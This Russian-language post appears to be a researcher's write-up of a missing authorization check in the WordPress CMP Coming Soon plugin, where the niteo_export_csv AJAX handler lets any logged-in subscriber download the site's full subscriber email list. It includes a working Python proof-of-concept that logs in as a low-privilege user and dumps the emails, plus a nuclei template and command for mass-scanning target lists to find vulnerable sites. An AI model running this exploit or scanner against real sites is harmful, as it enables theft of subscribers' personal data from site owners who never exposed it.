Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Code:
add_action( 'wp_ajax_niteo_themeinfo', array($this, 'niteo_themeinfo') );
add_action( 'wp_ajax_niteo_unsplash', array($this, 'niteo_unsplash') );
add_action( 'wp_ajax_niteo_export_csv', array($this, 'niteo_export_csv') );
add_action( 'wp_ajax_cmp_theme_update_install', array($this, 'cmp_theme_update_install') );
add_action( 'wp_ajax_cmp_toggle_activation', array($this, 'cmp_toggle_activation') );
add_action( 'wp_ajax_nopriv_niteo_subscribe', array($this, 'niteo_subscribe') );
add_action( 'wp_ajax_niteo_subscribe', array($this, 'niteo_subscribe') );
add_action( 'wp_ajax_cmp_mailchimp_list_ajax', array($this, 'cmp_mailchimp_list_ajax') );
Целая пачка ручек. Большинство висит на wp_ajax_*, а это значит, доступ к ним есть у любого залогиненного юзера, неважно какой роли. Тут ВП новички часто путаются: wp_ajax_nopriv_* это для анонимов, а просто wp_ajax_* это НЕ "только админ", это "любой кто авторизован". Хоть подписчик, хоть кастомер из вукоммерса. Ну окей, мало ли, может внутри хендлеров стоят проверки прав. Идём смотреть. Открываем для примера niteo_themeinfo().
Code:
public function niteo_themeinfo( ) {
if ( isset( $_POST['theme_slug'] ) ) {
// verify nonce
check_ajax_referer( 'cmp-coming-soon-ajax-secret', 'security' );
// verify user rights
if( !current_user_can('publish_pages') ) {
die('Sorry, but this request is invalid');
}
Аккуратно. Нонс на месте, проверка current_user_can('publish_pages') на месте. Смотрим niteo_unsplash(), то же самое. cmp_theme_update_install(), то же самое. cmp_toggle_activation(), то же самое. Молодцы разрабы, везде нонс плюс капабилити. ВЕЗДЕ.
Не удалось прогрузить медиа
Code:
public function niteo_export_csv() {
// load subscribers array
$subscribers = get_option('niteoCS_subscribers_list');
if( !empty($subscribers) ) {
$filename = 'subscribers-list-' . date('Y-m-d') . '.csv';
header('Content-Type: text/csv');
header('Content-Disposition: attachment;filename='.$filename);
$fp = fopen('php://output', 'w');
fputcsv($fp, array(__('Date'),__('Email')));
foreach ($subscribers as $key => $value) {
...
fputcsv($fp, $value, ',', '"' );
}
fclose($fp);
}
die();
}
И всё. Видите тут check_ajax_referer? Нет. Видите current_user_can? Тоже нет. Ничего. Просто берёт опцию niteoCS_subscribers_list, это весь список собранных через форму подписки емейлов, и выплёвывает его в CSV. На одной-единственной ручке из всей пачки забыли навесить защиту, которая стоит на всех остальных. Глаза загорелись.
То есть схема такая: регистрируемся на сайте самым обычным подписчиком (а на куче сайтов регистрация открыта, либо это шоп с кастомерами вукоммерса, там аккаунтов вагон), логинимся, и дёргаем:
Code:
GET /wp-admin/admin-ajax.php?action=niteo_export_csv
И нам в ответ прилетает CSV со всеми емейлами подписчиков. PII, которое владелец сайта собирал, и которое по-хорошему должен видеть только админ.
Ну что, хватит теории, надо проверять на живом. Поднимаем локальный вордпресс в докере, ставим CMP, накидываем тестовых "жертв" в список подписчиков, и создаём юзера lowuser с ролью subscriber, самой днищенской ролью в ВП.
Не удалось прогрузить медиа
Code:
#!/usr/bin/env python3
import sys, re, requests
BASE = "http://localhost:8080"
AJAX = f"{BASE}/wp-admin/admin-ajax.php"
LOGIN = f"{BASE}/wp-login.php"
LOW_USER, LOW_PASS = "lowuser", "Low12345!"
def wp_login(u, p):
s = requests.Session()
s.post(LOGIN, data={"log": u, "pwd": p, "wp-submit": "Log In",
"redirect_to": f"{BASE}/wp-admin/", "testcookie": "1"})
if not any(c.name.startswith("wordpress_logged_in") for c in s.cookies):
return None
return s
def try_export(session, label):
r = session.get(AJAX, params={"action": "niteo_export_csv"})
emails = re.findall(r"[\w.+-]+@[\w-]+\.[\w.-]+", r.text)
if emails:
print(f">>> всего {len(emails)} почты:")
for e in sorted(set(emails)):
print(" ", e)
return True
return False
# 1) anon, oblom
try_export(requests.Session(), "ANON")
# 2) subscriber, dump
s = wp_login(LOW_USER, LOW_PASS)
if not s:
print("login failed"); sys.exit(1)
try_export(s, f"SUBSCRIBER ({LOW_USER})")
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Code:
id: cmpdetect
info:
name: cmp detect plugin
author: bezmyatezhnost
severity: info
description: |
email leak via authorize user
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/cmp-coming-soon-maintenance/readme.txt"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "CMP - Coming soon"
- "niteothemes"
condition: or
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
Кидаешь список таргетов в nuclei -l targets.txt -t cmpdetect.yaml и получаешь готовый список сайтов, на которых живёт уязвимая ручка. Дальше уже руками регаешься подписчиком и проверяешь экспорт, автоматизировать это в темплейте не стал, потому что нужен валидный аккаунт. Не болейте, всем пока!
👍59
❤️8
😁11
😮6
👏6
😢14
LIMB